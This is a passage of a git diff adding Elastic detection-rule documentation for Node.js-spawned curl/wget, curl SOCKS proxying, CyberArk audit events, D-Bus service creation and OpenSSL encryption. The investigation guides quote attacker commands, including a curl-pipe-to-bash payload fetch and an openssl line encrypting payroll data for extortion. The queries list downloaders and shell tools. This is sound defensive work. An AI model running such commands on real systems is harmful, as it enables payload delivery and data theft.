https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-curl-or-wget-spawned-via-node-js.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-curl-or-wget-spawned-via-node-js.asciidoc new file mode 100644 index 0000000000..10986f0b6a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-curl-or-wget-spawned-via-node-js.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-20-curl-or-wget-spawned-via-node-js]] +=== Curl or Wget Spawned via Node.js + +This rule detects when Node.js, directly or via a shell, spawns the curl or wget command. This may indicate command and control behavior. Adversaries may use Node.js to download additional tools or payloads onto the system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Auditd Manager + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Curl or Wget Spawned via Node.js* + + +This rule flags Node.js launching curl or wget, directly or via a shell, a common technique to fetch payloads and enable command-and-control. Attackers often abuse child_process in Node apps to run "curl -sL http://host/payload.sh | bash," pulling a second stage from a remote host and executing it immediately under the guise of legitimate application activity. + + +*Possible investigation steps* + + +- Pull the full process tree and command line to extract URLs/domains, flags (e.g., -sL, -O, --insecure), and identify whether the output is piped into an interpreter, indicating immediate execution risk. +- Correlate with file system activity to find newly created or modified artifacts (e.g., in /tmp, /var/tmp, /dev/shm, or the app directory), then hash and scan them and check for follow-on executions. +- Pivot to network telemetry to enumerate connections around the event from both Node.js and the child process, assessing destination reputation (IP/domain, ASN, geo, cert/SNI) against approved update endpoints. +- Trace the initiating Node.js code path and deployment (child_process usage such as exec/spawn/execFile), and review package.json lifecycle scripts and recent npm installs or postinstall hooks for unauthorized download logic. +- Verify user and runtime context (service account/container/pod), inspect environment variables like HTTP(S)_PROXY/NO_PROXY, and check whether credentials or tokens were passed to curl/wget to assess exposure. + + +*False positive analysis* + + +- A legitimate Node.js service executes curl or wget to retrieve configuration files, certificates, or perform health checks against approved endpoints during startup or routine operation. +- Node.js install or maintenance scripts use a shell with -c to run curl or wget and download application assets or updates, triggering the rule even though this aligns with expected deployment workflows. + + +*Response and remediation* + + +- Immediately isolate the affected host or container, stop the Node.js service that invoked curl/wget (and any parent shell), terminate those processes, and block the exact URLs/domains/IPs observed in the command line and active connections. +- Quarantine and remove any artifacts dropped by the downloader (e.g., files in /tmp, /var/tmp, /dev/shm or paths specified by -O), delete added cron/systemd entries referencing those files, and revoke API tokens or credentials exposed in the command line or headers. +- Escalate to full incident response if output was piped to an interpreter (curl ... | bash or wget ... | sh), if --insecure/-k or self-signed endpoints were used, if unknown external infrastructure was contacted, or if secrets were accessed or exfiltrated. +- Rebuild and redeploy the workload from a known-good image, remove the malicious child_process code path from the Node.js application, restore validated configs/data, rotate any keys or tokens used by that service, and verify no further curl/wget spawns occur post-recovery. +- Harden by removing curl/wget from runtime images where not required, enforcing egress allowlists for the service, constraining execution with AppArmor/SELinux/seccomp and least-privilege service accounts, and adding CI/CD checks to block package.json postinstall scripts or code that shells out to downloaders. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.parent.name in ("node", "bun", "node.exe", "bun.exe") and ( +( + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "cmd.exe", "bash.exe", "powershell.exe") and + process.command_line like~ ("*curl*http*", "*wget*http*") +) or +( + process.name in ("curl", "wget", "curl.exe", "wget.exe") +) +) and not ( + process.command_line like ("*127.0.0.1*", "*localhost*", "*/home/*/.claude/shell-snapshots/*", "*/root/.claude/shell-snapshots/snapshot*", "*/Users/*/.claude/shell-snapshots/*") or + process.parent.executable like ("/*/.cursor-server/*node", "/home/*/cursor-agent/*/node") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-curl-socks-proxy-activity-from-unusual-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-curl-socks-proxy-activity-from-unusual-parent.asciidoc new file mode 100644 index 0000000000..0de9863662 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-curl-socks-proxy-activity-from-unusual-parent.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-20-curl-socks-proxy-activity-from-unusual-parent]] +=== Curl SOCKS Proxy Activity from Unusual Parent + +This rule detects the use of the "curl" command-line tool with SOCKS proxy options, launched from an unusual parent process. Attackers may use "curl" to establish a SOCKS proxy connection to bypass network restrictions and exfiltrate data or communicate with C2 servers. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Curl SOCKS Proxy Activity from Unusual Parent* + + +Curl is a versatile command-line tool used for transferring data with URLs, often employed for legitimate data retrieval. However, adversaries can exploit its SOCKS proxy capabilities to bypass network restrictions, facilitating covert data exfiltration or communication with command and control servers. The detection rule identifies suspicious curl executions initiated by atypical parent processes, such as those from temporary directories or shell environments, combined with SOCKS proxy arguments, indicating potential misuse. + + +*Possible investigation steps* + + +- Review the parent process details to understand the context of the curl execution, focusing on unusual directories like /dev/shm, /tmp, or shell environments such as bash or zsh. +- Examine the command-line arguments used with curl, specifically looking for SOCKS proxy options like --socks5-hostname or -x, to determine the intent and destination of the network request. +- Investigate the environment variables set for the process, such as http_proxy or HTTPS_PROXY, to identify any proxy configurations that might indicate an attempt to bypass network restrictions. +- Check the user account associated with the process execution to determine if it aligns with expected behavior or if it might be compromised. +- Analyze network logs to trace the destination IP addresses or domains contacted via the SOCKS proxy to assess if they are known malicious or suspicious entities. +- Correlate this activity with other alerts or logs from the same host to identify any patterns or additional indicators of compromise. + + +*False positive analysis* + + +- Development environments may frequently use curl with SOCKS proxy options for legitimate testing purposes. To manage this, consider excluding specific development directories or user accounts from the rule. +- Automated scripts or cron jobs running from shell environments might use curl with SOCKS proxies for routine data retrieval. Identify these scripts and exclude their parent processes or specific arguments from triggering the rule. +- System administrators might use curl with SOCKS proxies for network diagnostics or maintenance tasks. Document these activities and create exceptions for known administrative accounts or specific command patterns. +- Web applications hosted in directories like /var/www/html may use curl for backend operations involving SOCKS proxies. Review these applications and whitelist their specific processes or arguments if they are verified as non-threatening. +- Temporary directories such as /tmp or /dev/shm might be used by legitimate software for transient operations involving curl. Monitor these occurrences and exclude known benign software from the rule. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further data exfiltration or communication with command and control servers. +- Terminate any suspicious curl processes identified by the detection rule to halt potential malicious activity. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized file modifications or additional malicious processes. +- Review and clean up any unauthorized or suspicious files in temporary directories or other unusual locations, such as /dev/shm, /tmp, or /var/tmp, to remove potential threats. +- Reset credentials and review access logs for any accounts that may have been compromised or used in conjunction with the detected activity. +- Implement network monitoring to detect and block any further attempts to use SOCKS proxy connections from unauthorized sources. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if broader organizational impacts exist. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + +Elastic Defend integration does not collect environment variable logging by default. +In order to capture this behavior, this rule requires a specific configuration option set within the advanced settings of the Elastic Defend integration. + #### To set up environment variable capture for an Elastic Agent policy: +- Go to “Security → Manage → Policies”. +- Select an “Elastic Agent policy”. +- Click “Show advanced settings”. +- Scroll down or search for “linux.advanced.capture_env_vars”. +- Enter the names of environment variables you want to capture, separated by commas. +- For this rule the linux.advanced.capture_env_vars variable should be set to "HTTP_PROXY,HTTPS_PROXY,ALL_PROXY". +- Click “Save”. +After saving the integration change, the Elastic Agents running this policy will be updated and the rule will function properly. +For more information on capturing environment variables refer to the https://www.elastic.co/guide/en/security/current/environment-variable-capture.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.name == "curl" and ( + process.parent.executable like ( + "/dev/shm/*", "/tmp/*", "/var/tmp/*", "/var/run/*", "/root/*", "/boot/*", "/var/www/*", "/opt/.*", + "/home/*" + ) or + process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") or + process.parent.name like ".*" +) and ( + process.args like ("--socks5-hostname", "--proxy", "--preproxy", "socks5*") or + process.args == "-x" or + process.env_vars like~ ("http_proxy=socks5h://*", "HTTPS_PROXY=socks5h://*", "ALL_PROXY=socks5h://*") +) and not ( + process.parent.args == "/opt/rudder/share/commands/agent-run" or + process.args == "http://localhost:8080/rudder/api/status" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Sub-technique: +** Name: External Proxy +** ID: T1090.002 +** Reference URL: https://attack.mitre.org/techniques/T1090/002/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-cyberark-privileged-access-security-recommended-monitor.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-cyberark-privileged-access-security-recommended-monitor.asciidoc new file mode 100644 index 0000000000..d8e748fa1a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-cyberark-privileged-access-security-recommended-monitor.asciidoc @@ -0,0 +1,100 @@ +[[prebuilt-rule-8-19-20-cyberark-privileged-access-security-recommended-monitor]] +=== CyberArk Privileged Access Security Recommended Monitor + +Identifies the occurrence of a CyberArk Privileged Access Security (PAS) non-error level audit event which is recommended for monitoring by the vendor. The event.code correlates to the CyberArk Vault Audit Action Code. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-cyberarkpas.audit* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.cyberark.com/Product-Doc/OnlineHelp/PAS/Latest/en/Content/PASREF/Vault%20Audit%20Action%20Codes.htm?tocpath=Administration%7CReferences%7C_____3#RecommendedActionCodesforMonitoring + +*Tags*: + +* Data Source: CyberArk PAS +* Use Case: Log Auditing +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +This is a promotion rule for CyberArk events, which the vendor recommends should be monitored. +Consult vendor documentation on interpreting specific events. + +==== Setup + + +The CyberArk Privileged Access Security (PAS) Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:cyberarkpas.audit and + event.code:(4 or 22 or 24 or 31 or 38 or 57 or 60 or 130 or 295 or 300 or 302 or + 308 or 319 or 344 or 346 or 359 or 361 or 378 or 380 or 411) and + not event.type:error + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-d-bus-service-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-d-bus-service-created.asciidoc new file mode 100644 index 0000000000..088ef4d1ce --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-d-bus-service-created.asciidoc @@ -0,0 +1,199 @@ +[[prebuilt-rule-8-19-20-d-bus-service-created]] +=== D-Bus Service Created + +This rule detects the creation of D-Bus service files on Linux systems. D-Bus is a message bus system that provides a way for applications to talk to one another. D-Bus services are defined in service files that are typically located in default directories. The rule looks for the creation of service files that are not associated with known package managers or system services. Attackers may create malicious D-Bus services to establish persistence or escalate privileges on a system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating D-Bus Service Created* + + +D-Bus is an inter-process communication system in Linux, enabling applications to communicate. Adversaries may exploit D-Bus by creating unauthorized service files to maintain persistence or escalate privileges. The detection rule identifies suspicious service file creations in key directories, excluding known legitimate processes, to flag potential malicious activity. + + +*Possible investigation steps* + + +- Review the file path and extension to confirm if the created file is located in one of the monitored directories such as /usr/share/dbus-1/system-services/ or /etc/dbus-1/system.d/, and ensure it has a .service or .conf extension. +- Examine the process executable that created the file to determine if it is listed as a known legitimate process in the exclusion list. If not, investigate the process further to understand its origin and purpose. +- Check the process name and path for any unusual or unexpected patterns, especially if it is not part of the known exclusions like ssm-agent-worker or platform-python*. +- Investigate the file creation time and correlate it with other system activities or logs to identify any suspicious behavior or patterns around the time of the alert. +- Look into the user account associated with the process that created the file to determine if it has the necessary permissions and if the activity aligns with the user's typical behavior. +- Search for any related alerts or logs that might indicate a broader attack pattern, such as other unauthorized file creations or modifications in the system. + + +*False positive analysis* + + +- Package manager operations can trigger false positives when legitimate service files are created during software installations or updates. To manage this, exclude processes associated with known package managers like dpkg, rpm, and yum from the detection rule. +- System service updates may also result in false positives. Exclude processes such as systemd and crond that are responsible for legitimate system service management. +- Development and testing environments often involve the creation of temporary or test service files. Exclude paths and processes specific to these environments, such as those under /tmp or /dev/fd, to reduce noise. +- Automation tools like Puppet and Chef can create service files as part of their configuration management tasks. Exclude these tools by adding their executable paths to the exception list. +- Custom scripts or tools that mimic package manager behavior might also cause false positives. Identify and exclude these specific scripts or tools by their process names or paths if they are known to be benign. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes associated with the creation of unauthorized D-Bus service files to halt potential malicious activity. +- Remove any unauthorized D-Bus service files identified in the specified directories to eliminate persistence mechanisms. +- Conduct a thorough review of user accounts and privileges on the affected system to ensure no unauthorized privilege escalation has occurred. +- Restore the system from a known good backup if unauthorized changes or damage to the system are detected. +- Monitor the system and network for any signs of re-infection or similar suspicious activities, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and process.executable != null and +file.extension in ("service", "conf") and file.path like ( + "/usr/share/dbus-1/system-services/*", "/etc/dbus-1/system.d/*", + "/lib/dbus-1/system-services/*", "/run/dbus/system.d/*", + "/home/*/.local/share/dbus-1/services/*", "/home/*/.dbus/session-bus/*", + "/usr/share/dbus-1/services/*", "/etc/dbus-1/session.d/*" +) and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/bin/crio", "/usr/sbin/crond", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/libexec/platform-python", "/kaniko/kaniko-executor", + "/usr/local/bin/dockerd", "/usr/bin/podman", "/bin/install", "/proc/self/exe", "/usr/lib/systemd/systemd", + "/usr/sbin/sshd", "/usr/bin/gitlab-runner", "/opt/gitlab/embedded/bin/ruby", "/usr/sbin/gdm", "/usr/bin/install", + "/usr/local/manageengine/uems_agent/bin/dcregister", "./usr/bin/podman", "/.envbuilder/bin/envbuilder" + ) or + process.executable like ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*", + "/var/lib/docker/overlay2/*/dockerd", "/var/lib/containers/storage/overlay/*/dockerd" + ) or + process.name like ( + "ssm-agent-worker", "platform-python*", "dnf_install", "cloudflared", "lxc-pve-prestart-hook", + "convert-usrmerge", "elastic-agent", "google_metadata_script_runner", "update-alternatives", "gitlab-runner", + "install", "crio", "apt-get", "package-cleanup", "dcservice", "dcregister", "jumpcloud-agent", "executor" + ) or + (process.name == "sed" and file.name like "sed*") or + (process.name == "perl" and file.name like "e2scrub_all.tmp*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-data-encrypted-via-openssl-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-data-encrypted-via-openssl-utility.asciidoc new file mode 100644 index 0000000000..85069439ba --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-data-encrypted-via-openssl-utility.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-20-data-encrypted-via-openssl-utility]] +=== Data Encrypted via OpenSSL Utility + +Identifies the execution of the OpenSSL utility to encrypt data. Adversaries may use OpenSSL to encrypt data to disrupt the availability of their target's data and may attempt to hold the organization's data to ransom for the purposes of extortion. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-sentinel_one_cloud_funnel.* +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Collection +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Data Encrypted via OpenSSL Utility* + + +This rule flags the OpenSSL command-line tool when it starts encrypting a file with explicit input and output paths, a pattern that can indicate an attempt to hide or lock data. An attacker on Linux or macOS might run `openssl enc -aes-256-cbc -in /home/shared/payroll.csv -out /tmp/payroll.csv.enc` to encrypt collected documents before staging them for exfiltration or to prepare data for a ransomware-style extortion event. + + +*Possible investigation steps* + + +- Review the full OpenSSL invocation to identify the cipher used, the source and destination file paths, whether a password or key was supplied inline or via script, and whether the targeted data is business-critical or user-owned. +- Trace the parent and ancestor execution chain to determine whether the activity originated from an approved administrative workflow or from unusual launch points such as interactive shells, remote access tools, scheduled tasks, temporary folders, or user download locations. +- Scope adjacent file activity on the host to see whether this was a single expected encryption task or part of a wider pattern of mass file reads, encrypted output creation, original file deletion, or access to shared drives and sensitive repositories. +- Investigate the initiating account and system for precursor signs of compromise, including recent suspicious logons, privilege escalation, script execution, tool transfer, or other activity that is inconsistent with the user’s normal administrative behavior. +- Search for follow-on actions that would raise ransomware or exfiltration concern, such as archive creation, outbound network transfers, ransom note drops, service stoppage, shadow copy removal, or attempts to disable security controls. + + +*False positive analysis* + + +- Administrators may use `openssl enc -in ... -out ...` in backup or file-transfer scripts to protect exports, archives, or configuration bundles; verify the parent script or scheduled task, the service account, and the source and destination paths align with a documented maintenance workflow. +- Developers or support personnel may encrypt test data sets or collected logs before sharing them internally for troubleshooting; verify the initiating user’s role, confirm the files are expected non-production artifacts, and check for a related change or support activity during the same time window. + + +*Response and remediation* + + +- Isolate the affected endpoint from the network and disconnect mapped drives or mounted shares to stop further encryption while preserving the OpenSSL binary, shell history, encrypted output files, and any wrapper scripts as evidence. +- Remove attacker persistence by 